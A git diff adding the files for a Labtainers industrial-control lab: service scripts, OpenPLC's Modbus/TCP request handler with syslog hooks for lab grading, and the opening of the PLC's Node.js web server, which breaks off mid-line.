--git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_bin/fixlocal.sh new file mode 100755 index 000000000..777b015be --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_bin/fixlocal.sh @@ -0,0 +1,7 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +sudo systemctl enable plc +sudo systemctl start plc diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/etc/init.d/plc.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/etc/init.d/plc.sh new file mode 100755 index 000000000..2d056c942 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/etc/init.d/plc.sh @@ -0,0 +1,65 @@ +#!/bin/sh + +### BEGIN INIT INFO +# Provides: proxy +# Required-Start: $syslog +# Required-Stop: $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Put a short description of the service here +# Description: Put a long description of the service here +### END INIT INFO + +# Change the next 3 lines to suit where you install your script and what you want to call it +DIR=/sbin/OpenPLC_v2x +DAEMON=/usr/bin/nodejs +DAEMON_NAME=plc + +# Log for nodejs +NODEJS_LOG=/var/log/nodejs.log + +# Add any command line options for your daemon here +DAEMON_OPTS="server.js" + +# This next line determines what user the script runs as. +#DAEMON_USER=ubuntu +DAEMON_USER=root + +# The process ID of the script when it runs is stored here: +PIDFILE=/var/run/$DAEMON_NAME.pid + +. /lib/lsb/init-functions + +do_start () { + log_daemon_msg "Starting system $DAEMON_NAME daemon" + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile --user $DAEMON_USER --chuid $DAEMON_USER --chdir $DIR --startas $DAEMON --no-close -- $DAEMON_OPTS >> $NODEJS_LOG 2>&1 + log_end_msg $? +} +do_stop () { + log_daemon_msg "Stopping system $DAEMON_NAME daemon" + start-stop-daemon --stop --pidfile $PIDFILE --retry 10 + log_end_msg $? +} + +case "$1" in + + start|stop) + do_${1} + ;; + + restart|reload|force-reload) + do_stop + do_start + ;; + + status) + status_of_proc "$DAEMON_NAME" "$DAEMON" && exit 0 || exit $? + ;; + + *) + echo "Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}" + exit 1 + ;; + +esac +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/lib/systemd/system/plc.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/lib/systemd/system/plc.service new file mode 100644 index 000000000..5e63a3e25 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/lib/systemd/system/plc.service @@ -0,0 +1,13 @@ +[Unit] +Description=PLC Service + +[Service] +Type=simple +ExecStart=/usr/bin/nodejs server.js +StandardOutput=/var/log/nodejs.log +StandardError=/var/log/nodejs.log +WorkingDirectory=/sbin/OpenPLC_v2x + +[Install] +WantedBy=multi-user.target +Alias=plc.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/sbin/OpenPLC_v2x/core/modbus.cpp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/sbin/OpenPLC_v2x/core/modbus.cpp new file mode 100644 index 000000000..33945e8e3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/sbin/OpenPLC_v2x/core/modbus.cpp @@ -0,0 +1,899 @@ +//----------------------------------------------------------------------------- +// Copyright 2015 Thiago Alves +// +// Based on the LDmicro software by Jonathan Westhues +// This file is part of the OpenPLC Software Stack. +// +// OpenPLC is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// OpenPLC is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with OpenPLC. If not, see . +//------ +// +// This file has all the MODBUS/TCP functions supported by the OpenPLC. If any +// other function is to be added to the project, it must be added here +// Thiago Alves, Dec 2015 +//----------------------------------------------------------------------------- + +#include +#include +#include +#include + +#include "ladder.h" + +//Labtainer +#include + +#define MAX_DISCRETE_INPUT 800 +#define MAX_COILS 800 +#define MAX_HOLD_REGS 8192 +#define MAX_INP_REGS 1024 + +#define MIN_16B_RANGE 1024 +#define MAX_16B_RANGE 2047 +#define MIN_32B_RANGE 2048 +#define MAX_32B_RANGE 4095 +#define MIN_64B_RANGE 4096 +#define MAX_64B_RANGE 8191 + +#define MB_FC_NONE 0 +#define MB_FC_READ_COILS 1 +#define MB_FC_READ_INPUTS 2 +#define MB_FC_READ_HOLDING_REGISTERS 3 +#define MB_FC_READ_INPUT_REGISTERS 4 +#define MB_FC_WRITE_COIL 5 +#define MB_FC_WRITE_REGISTER 6 +#define MB_FC_WRITE_MULTIPLE_COILS 15 +#define MB_FC_WRITE_MULTIPLE_REGISTERS 16 +#define MB_FC_ERROR 255 + +#define ERR_NONE 0 +#define ERR_ILLEGAL_FUNCTION 1 +#define ERR_ILLEGAL_DATA_ADDRESS 2 +#define ERR_ILLEGAL_DATA_VALUE 3 +#define ERR_SLAVE_DEVICE_FAILURE 4 +#define ERR_SLAVE_DEVICE_BUSY 6 + + +#define bitRead(value, bit) (((value) >> (bit)) & 0x01) +#define bitSet(value, bit) ((value) |= (1UL << (bit))) +#define bitClear(value, bit) ((value) &= ~(1UL << (bit))) +#define bitWrite(value, bit, bitvalue) (bitvalue ? bitSet(value, bit) : bitClear(value, bit)) + +#define lowByte(w) ((unsigned char) ((w) & 0xff)) +#define highByte(w) ((unsigned char) ((w) >> 8)) + +IEC_BOOL mb_discrete_input[MAX_DISCRETE_INPUT]; +IEC_BOOL mb_coils[MAX_COILS]; +IEC_UINT mb_input_regs[MAX_INP_REGS]; +IEC_UINT mb_holding_regs[MAX_HOLD_REGS]; + +int MessageLength; + + + +//----------------------------------------------------------------------------- +// Concatenate two bytes into an int +//----------------------------------------------------------------------------- +int word(unsigned char byte1, unsigned char byte2) +{ + int returnValue; + returnValue = (int)(byte1 << 8) | (int)byte2; + + return returnValue; +} + +//----------------------------------------------------------------------------- +// This function sets the internal NULL OpenPLC buffers to point to valid +// positions on the Modbus buffer +//----------------------------------------------------------------------------- +void mapUnusedIO() +{ + pthread_mutex_lock(&bufferLock); + + for(int i = 0; i < MAX_DISCRETE_INPUT; i++) + { + if (bool_input[i/8][i%8] == NULL) bool_input[i/8][i%8] = &mb_discrete_input[i]; + } + + for(int i = 0; i < MAX_COILS; i++) + { + if (bool_output[i/8][i%8] == NULL) bool_output[i/8][i%8] = &mb_coils[i]; + } + + for (int i = 0; i < MAX_INP_REGS; i++) + { + if (int_input[i] == NULL) int_input[i] = &mb_input_regs[i]; + } + + for (int i = 0; i <= MAX_16B_RANGE; i++) + { + if (i < MIN_16B_RANGE) + if (int_output[i] == NULL) int_output[i] = &mb_holding_regs[i]; + + if (i >= MIN_16B_RANGE && i <= MAX_16B_RANGE) + if (int_memory[i - MIN_16B_RANGE] == NULL) int_memory[i] = &mb_holding_regs[i]; + } + + pthread_mutex_unlock(&bufferLock); +} + +//----------------------------------------------------------------------------- +// Response to a Modbus Error +//----------------------------------------------------------------------------- +void ModbusError(unsigned char *buffer, int mb_error) +{ + buffer[4] = 0; + buffer[5] = 3; + buffer[7] = buffer[7] | 0x80; //set the highest bit + buffer[8] = mb_error; + MessageLength = 9; +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Read Coils +//----------------------------------------------------------------------------- +void ReadCoils(unsigned char *buffer, int bufferSize) +{ + int Start, ByteDataLength, CoilDataLength; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8], buffer[9]); + CoilDataLength = word(buffer[10], buffer[11]); + ByteDataLength = CoilDataLength / 8; //calculating the size of the message in bytes + if(ByteDataLength * 8 < CoilDataLength) ByteDataLength++; + + //asked for too many coils + if (ByteDataLength > 255) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_ADDRESS); + return; + } + + //preparing response + buffer[4] = highByte(ByteDataLength + 3); + buffer[5] = lowByte(ByteDataLength + 3); //Number of bytes after this one + buffer[8] = ByteDataLength; //Number of bytes of data + + pthread_mutex_lock(&bufferLock); + for(int i = 0; i < ByteDataLength ; i++) + { + for(int j = 0; j < 8; j++) + { + int position = Start + i * 8 + j; + if (position < MAX_COILS) + { + if (bool_output[position/8][position%8] != NULL) + { + bitWrite(buffer[9 + i], j, *bool_output[position/8][position%8]); + } + else + { + bitWrite(buffer[9 + i], j, 0); + } + } + else //invalid address + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + } + } + pthread_mutex_unlock(&bufferLock); + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + MessageLength = ByteDataLength + 9; + } +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Read Discrete Inputs +//----------------------------------------------------------------------------- +void ReadDiscreteInputs(unsigned char *buffer, int bufferSize) +{ + int Start, ByteDataLength, InputDataLength; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8],buffer[9]); + InputDataLength = word(buffer[10],buffer[11]); + ByteDataLength = InputDataLength / 8; + if(ByteDataLength * 8 < InputDataLength) ByteDataLength++; + + //asked for too many inputs + if (ByteDataLength > 255) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_ADDRESS); + return; + } + + //Preparing response + buffer[4] = highByte(ByteDataLength + 3); + buffer[5] = lowByte(ByteDataLength + 3); //Number of bytes after this one + buffer[8] = ByteDataLength; //Number of bytes of data + + pthread_mutex_lock(&bufferLock); + for(int i = 0; i < ByteDataLength ; i++) + { + for(int j = 0; j < 8; j++) + { + int position = Start + i * 8 + j; + if (position < MAX_DISCRETE_INPUT) + { + if (bool_input[position/8][position%8] != NULL) + { + bitWrite(buffer[9 + i], j, *bool_input[position/8][position%8]); + } + else + { + bitWrite(buffer[9 + i], j, 0); + } + } + else //invalid address + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + } + } + pthread_mutex_unlock(&bufferLock); + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + MessageLength = ByteDataLength + 9; + } +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Read Holding Registers +//----------------------------------------------------------------------------- +void ReadHoldingRegisters(unsigned char *buffer, int bufferSize) +{ + int Start, WordDataLength, ByteDataLength; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8],buffer[9]); + WordDataLength = word(buffer[10],buffer[11]); + ByteDataLength = WordDataLength * 2; + + //asked for too many registers + if (ByteDataLength > 255) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_ADDRESS); + return; + } + + //preparing response + buffer[4] = highByte(ByteDataLength + 3); + buffer[5] = lowByte(ByteDataLength + 3); //Number of bytes after this one + buffer[8] = ByteDataLength; //Number of bytes of data + + pthread_mutex_lock(&bufferLock); + for(int i = 0; i < WordDataLength; i++) + { + int position = Start + i; + if (position <= MIN_16B_RANGE) + { + if (int_output[position] != NULL) + { + buffer[ 9 + i * 2] = highByte(*int_output[position]); + buffer[10 + i * 2] = lowByte(*int_output[position]); + } + else + { + buffer[ 9 + i * 2] = 0; + buffer[10 + i * 2] = 0; + } + } + //accessing memory + //16-bit registers + else if (position >= MIN_16B_RANGE && position <= MAX_16B_RANGE) + { + if (int_memory[position - MIN_16B_RANGE] != NULL) + { + buffer[ 9 + i * 2] = highByte(*int_memory[position - MIN_16B_RANGE]); + buffer[10 + i * 2] = lowByte(*int_memory[position - MIN_16B_RANGE]); + } + else + { + buffer[ 9 + i * 2] = 0; + buffer[10 + i * 2] = 0; + } + } + //32-bit registers + else if (position >= MIN_32B_RANGE && position <= MAX_32B_RANGE) + { + if (dint_memory[(position - MIN_32B_RANGE)/2] != NULL) + { + if ((position - MIN_32B_RANGE) % 2 == 0) //first word + { + uint16_t tempValue = (uint16_t)(*dint_memory[(position - MIN_32B_RANGE)/2] >> 16); + buffer[ 9 + i * 2] = highByte(tempValue); + buffer[10 + i * 2] = lowByte(tempValue); + } + else //second word + { + uint16_t tempValue = (uint16_t)(*dint_memory[(position - MIN_32B_RANGE)/2] & 0xffff); + buffer[ 9 + i * 2] = highByte(tempValue); + buffer[10 + i * 2] = lowByte(tempValue); + } + } + else + { + buffer[ 9 + i * 2] = mb_holding_regs[position]; + buffer[10 + i * 2] = mb_holding_regs[position]; + } + } + //64-bit registers + else if (position >= MIN_64B_RANGE && position <= MAX_64B_RANGE) + { + if (lint_memory[(position - MIN_64B_RANGE)/4] != NULL) + { + if ((position - MIN_64B_RANGE) % 4 == 0) //first word + { + uint16_t tempValue = (uint16_t)(*lint_memory[(position - MIN_64B_RANGE)/4] >> 48); + buffer[ 9 + i * 2] = highByte(tempValue); + buffer[10 + i * 2] = lowByte(tempValue); + } + else if ((position - MIN_64B_RANGE) % 4 == 1)//second word + { + uint16_t tempValue = (uint16_t)((*lint_memory[(position - MIN_64B_RANGE)/4] >> 32) & 0xffff); + buffer[ 9 + i * 2] = highByte(tempValue); + buffer[10 + i * 2] = lowByte(tempValue); + } + else if ((position - MIN_64B_RANGE) % 4 == 2)//third word + { + uint16_t tempValue = (uint16_t)((*lint_memory[(position - MIN_64B_RANGE)/4] >> 16) & 0xffff); + buffer[ 9 + i * 2] = highByte(tempValue); + buffer[10 + i * 2] = lowByte(tempValue); + } + else if ((position - MIN_64B_RANGE) % 4 == 3)//fourth word + { + uint16_t tempValue = (uint16_t)(*lint_memory[(position - MIN_64B_RANGE)/4] & 0xffff); + buffer[ 9 + i * 2] = highByte(tempValue); + buffer[10 + i * 2] = lowByte(tempValue); + } + } + else + { + buffer[ 9 + i * 2] = mb_holding_regs[position]; + buffer[10 + i * 2] = mb_holding_regs[position]; + } + } + //invalid address + else + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + } + pthread_mutex_unlock(&bufferLock); + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + MessageLength = ByteDataLength + 9; + } +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Read Input Registers +//----------------------------------------------------------------------------- +void ReadInputRegisters(unsigned char *buffer, int bufferSize) +{ + int Start, WordDataLength, ByteDataLength; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8],buffer[9]); + WordDataLength = word(buffer[10],buffer[11]); + ByteDataLength = WordDataLength * 2; + + //asked for too many registers + if (ByteDataLength > 255) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_ADDRESS); + return; + } + + //preparing response + buffer[4] = highByte(ByteDataLength + 3); + buffer[5] = lowByte(ByteDataLength + 3); //Number of bytes after this one + buffer[8] = ByteDataLength; //Number of bytes of data + + pthread_mutex_lock(&bufferLock); + for(int i = 0; i < WordDataLength; i++) + { + int position = Start + i; + if (position < MAX_INP_REGS) + { + if (int_input[position] != NULL) + { + buffer[ 9 + i * 2] = highByte(*int_input[position]); + buffer[10 + i * 2] = lowByte(*int_input[position]); + } + else + { + buffer[ 9 + i * 2] = 0; + buffer[10 + i * 2] = 0; + } + } + else //invalid address + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + } + pthread_mutex_unlock(&bufferLock); + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + MessageLength = ByteDataLength + 9; + } +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Write Coil +//----------------------------------------------------------------------------- +void WriteCoil(unsigned char *buffer, int bufferSize) +{ + int Start; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8], buffer[9]); + + if (Start < MAX_COILS) + { + unsigned char value; + if (word(buffer[10], buffer[11]) > 0) + { + value = 1; + } + else + { + value = 0; + } + + //Labtainer parameterization + syslog(LOG_INFO | LOG_USER, "WriteCoil -- address: %x value: %x", buffer[9], value); + + pthread_mutex_lock(&bufferLock); + if (bool_output[Start/8][Start%8] != NULL) + { + *bool_output[Start/8][Start%8] = value; + } + pthread_mutex_unlock(&bufferLock); + } + + else //invalid address + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + buffer[4] = 0; + buffer[5] = 6; //Number of bytes after this one. + MessageLength = 12; + } +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Write Holding Register +//----------------------------------------------------------------------------- +void WriteRegister(unsigned char *buffer, int bufferSize) +{ + int Start; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8],buffer[9]); + + pthread_mutex_lock(&bufferLock); + //analog outputs + if (Start <= MIN_16B_RANGE) + { + if (int_output[Start] != NULL) + { + *int_output[Start] = word(buffer[10],buffer[11]); + } + } + //accessing memory + //16-bit registers + else if (Start >= MIN_16B_RANGE && Start <= MAX_16B_RANGE) + { + if (int_memory[Start - MIN_16B_RANGE] != NULL) + { + *int_memory[Start - MIN_16B_RANGE] = word(buffer[10],buffer[11]); + } + } + //32-bit registers + else if (Start >= MIN_32B_RANGE && Start <= MAX_32B_RANGE) + { + if (dint_memory[(Start - MIN_32B_RANGE)/2] != NULL) + { + uint32_t tempValue = (uint32_t)word(buffer[10],buffer[11]); + + if ((Start - MIN_32B_RANGE) % 2 == 0) //first word + { + *dint_memory[(Start - MIN_32B_RANGE) / 2] = *dint_memory[(Start - MIN_32B_RANGE) / 2] & 0x0000ffff; + *dint_memory[(Start - MIN_32B_RANGE) / 2] = *dint_memory[(Start - MIN_32B_RANGE) / 2] | (tempValue << 16); + } + else //second word + { + *dint_memory[(Start - MIN_32B_RANGE) / 2] = *dint_memory[(Start - MIN_32B_RANGE) / 2] & 0xffff0000; + *dint_memory[(Start - MIN_32B_RANGE) / 2] = *dint_memory[(Start - MIN_32B_RANGE) / 2] | tempValue; + } + } + else + { + mb_holding_regs[Start] = word(buffer[10],buffer[11]); + } + } + //64-bit registers + else if (Start >= MIN_64B_RANGE && Start <= MAX_64B_RANGE) + { + if (lint_memory[(Start - MIN_64B_RANGE)/4] != NULL) + { + uint64_t tempValue = (uint64_t)word(buffer[10],buffer[11]); + + if ((Start - MIN_64B_RANGE) % 4 == 0) //first word + { + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] & 0x0000ffffffffffff; + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] | (tempValue << 48); + } + else if ((Start - MIN_64B_RANGE) % 4 == 1) //second word + { + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] & 0xffff0000ffffffff; + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] | (tempValue << 32); + } + else if ((Start - MIN_64B_RANGE) % 4 == 2) //third word + { + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] & 0xffffffff0000ffff; + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] | (tempValue << 16); + } + else if ((Start - MIN_64B_RANGE) % 4 == 3) //fourth word + { + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] & 0xffffffffffff0000; + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] | tempValue; + } + } + else + { + mb_holding_regs[Start] = word(buffer[10],buffer[11]); + } + } + else //invalid address + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + pthread_mutex_unlock(&bufferLock); + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + buffer[4] = 0; + buffer[5] = 6; //Number of bytes after this one. + MessageLength = 12; + } +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Write Multiple Coils +//----------------------------------------------------------------------------- +void WriteMultipleCoils(unsigned char *buffer, int bufferSize) +{ + int Start, ByteDataLength, CoilDataLength; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8],buffer[9]); + CoilDataLength = word(buffer[10],buffer[11]); + ByteDataLength = CoilDataLength / 8; + if(ByteDataLength * 8 < CoilDataLength) ByteDataLength++; + + //this request must have all the bytes it wants to write. If it doesn't, it's a corrupted message + if ( (bufferSize < (13 + ByteDataLength)) || (buffer[12] != ByteDataLength) ) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + //preparing response + buffer[4] = 0; + buffer[5] = 6; //Number of bytes after this one. + + pthread_mutex_lock(&bufferLock); + for(int i = 0; i < ByteDataLength ; i++) + { + for(int j = 0; j < 8; j++) + { + int position = Start + i * 8 + j; + if (position < MAX_COILS) + { + if (bool_output[position/8][position%8] != NULL) *bool_output[position/8][position%8] = bitRead(buffer[13 + i], j); + } + else //invalid address + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + } + } + pthread_mutex_unlock(&bufferLock); + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + MessageLength = 12; + } +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Write Multiple Registers +//----------------------------------------------------------------------------- +void WriteMultipleRegisters(unsigned char *buffer, int bufferSize) +{ + int Start, WordDataLength, ByteDataLength; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8],buffer[9]); + WordDataLength = word(buffer[10],buffer[11]); + ByteDataLength = WordDataLength * 2; + + //this request must have all the bytes it wants to write. If it doesn't, it's a corrupted message + if ( (bufferSize < (13 + ByteDataLength)) || (buffer[12] != ByteDataLength) ) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + //preparing response + buffer[4] = 0; + buffer[5] = 6; //Number of bytes after this one. + + pthread_mutex_lock(&bufferLock); + for(int i = 0; i < WordDataLength; i++) + { + int position = Start + i; + //analog outputs + if (position <= MIN_16B_RANGE) + { + if (int_output[position] != NULL) *int_output[position] = word(buffer[13 + i * 2], buffer[14 + i * 2]); + } + //accessing memory + //16-bit registers + else if (position >= MIN_16B_RANGE && position <= MAX_16B_RANGE) + { + if (int_memory[position - MIN_16B_RANGE] != NULL) *int_memory[position - MIN_16B_RANGE] = word(buffer[13 + i * 2], buffer[14 + i * 2]); + } + //32-bit registers + else if (position >= MIN_32B_RANGE && position <= MAX_32B_RANGE) + { + if (dint_memory[(Start - MIN_32B_RANGE)/2] != NULL) + { + uint32_t tempValue = (uint32_t)word(buffer[13 + i * 2], buffer[14 + i * 2]); + + if ((position - MIN_32B_RANGE) % 2 == 0) //first word + { + *dint_memory[(position - MIN_32B_RANGE) / 2] = *dint_memory[(position - MIN_32B_RANGE) / 2] & 0x0000ffff; + *dint_memory[(position - MIN_32B_RANGE) / 2] = *dint_memory[(position - MIN_32B_RANGE) / 2] | (tempValue << 16); + } + else //second word + { + *dint_memory[(position - MIN_32B_RANGE) / 2] = *dint_memory[(position - MIN_32B_RANGE) / 2] & 0xffff0000; + *dint_memory[(position - MIN_32B_RANGE) / 2] = *dint_memory[(position - MIN_32B_RANGE) / 2] | tempValue; + } + } + else + { + mb_holding_regs[position] = word(buffer[13 + i * 2], buffer[14 + i * 2]); + } + } + //64-bit registers + else if (position >= MIN_64B_RANGE && position <= MAX_64B_RANGE) + { + if (lint_memory[(position - MIN_64B_RANGE)/4] != NULL) + { + uint64_t tempValue = (uint64_t)word(buffer[13 + i * 2], buffer[14 + i * 2]); + + if ((position - MIN_64B_RANGE) % 4 == 0) //first word + { + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] & 0x0000ffffffffffff; + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] | (tempValue << 48); + } + else if ((Start - MIN_64B_RANGE) % 4 == 1) //second word + { + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] & 0xffff0000ffffffff; + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] | (tempValue << 32); + } + else if ((Start - MIN_64B_RANGE) % 4 == 2) //third word + { + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] & 0xffffffff0000ffff; + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] | (tempValue << 16); + } + else if ((Start - MIN_64B_RANGE) % 4 == 3) //fourth word + { + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] & 0xffffffffffff0000; + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] | tempValue; + } + } + else + { + mb_holding_regs[Start] = word(buffer[10],buffer[11]); + } + } + else //invalid address + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + } + pthread_mutex_unlock(&bufferLock); + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + MessageLength = 12; + } +} + +//----------------------------------------------------------------------------- +// This function must parse and process the client request and write back the +// response for it. The return value is the size of the response message in +// bytes. +//----------------------------------------------------------------------------- +int processModbusMessage(unsigned char *buffer, int bufferSize) +{ + MessageLength = 0; + + //check if the message is long enough + if (bufferSize < 8) + { + ModbusError(buffer, ERR_ILLEGAL_FUNCTION); + } + + //****************** Read Coils ********************** + else if(buffer[7] == MB_FC_READ_COILS) + { + ReadCoils(buffer, bufferSize); + } + + //*************** Read Discrete Inputs *************** + else if(buffer[7] == MB_FC_READ_INPUTS) + { + ReadDiscreteInputs(buffer, bufferSize); + } + + //****************** Read Holding Registers ****************** + else if(buffer[7] == MB_FC_READ_HOLDING_REGISTERS) + { + ReadHoldingRegisters(buffer, bufferSize); + } + + //****************** Read Input Registers ****************** + else if(buffer[7] == MB_FC_READ_INPUT_REGISTERS) + { + ReadInputRegisters(buffer, bufferSize); + } + + //****************** Write Coil ********************** + else if(buffer[7] == MB_FC_WRITE_COIL) + { + + //Labtainer parameterization + syslog(LOG_INFO | LOG_USER, "WRITE_COIL... UniqueID"); + + WriteCoil(buffer, bufferSize); + } + + //****************** Write Register ****************** + else if(buffer[7] == MB_FC_WRITE_REGISTER) + { + WriteRegister(buffer, bufferSize); + } + + //****************** Write Multiple Coils ********************** + else if(buffer[7] == MB_FC_WRITE_MULTIPLE_COILS) + { + WriteMultipleCoils(buffer, bufferSize); + } + + //****************** Write Multiple Registers ****************** + else if(buffer[7] == MB_FC_WRITE_MULTIPLE_REGISTERS) + { + WriteMultipleRegisters(buffer, bufferSize); + } + + //****************** Function Code Error ****************** + else + { + ModbusError(buffer, ERR_ILLEGAL_FUNCTION); + } + + return MessageLength; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/sbin/OpenPLC_v2x/server.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/sbin/OpenPLC_v2x/server.js new file mode 100644 index 000000000..c24cb4812 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/sbin/OpenPLC_v2x/server.js @@ -0,0 +1,476 @@ +var express = require("express"); +var multer = require('multer'); +var app = express(); +var upload = multer({ dest: './st_files/'}); +var spawn = require('child_process').spawn; +var plcLog = ''; + +var openplc = spawn('./core/openplc'); +openplc.stdout.on('data', function(data) +{ + plcLog += data; + plcLog += '\r\n'; +}); +openplc.stderr.on('data', function(data) +{ + plcLog += data; + plcLog += '\r\n'; +}); +openplc.on('close', function(code) +{ + plcLog += 'OpenPLC application terminated\r\n'; +}); + +var plcRunning = true; +var compilationOutput = ''; +var compilationEnded = false; +var compilationSuccess = false; +var uploadedFileName = ''; +var uploadedFilePath = ''; + +app.use(multer({ dest: './st_files/', + rename: function (fieldname, filename) + { + return filename; + }, + onFileUploadStart: function (file) + { + console.log(file.originalname + ' is starting ...'); + }, + onFileUploadComplete: function (file) + { + uploadedFileName = file.originalname; + uploadedFilePath = file.path; + } +})); + +app.get('/',function(req,res) +{ + showMainPage(req,res); +}); + +app.get('/run',function(req,res) +{ + if (plcRunning 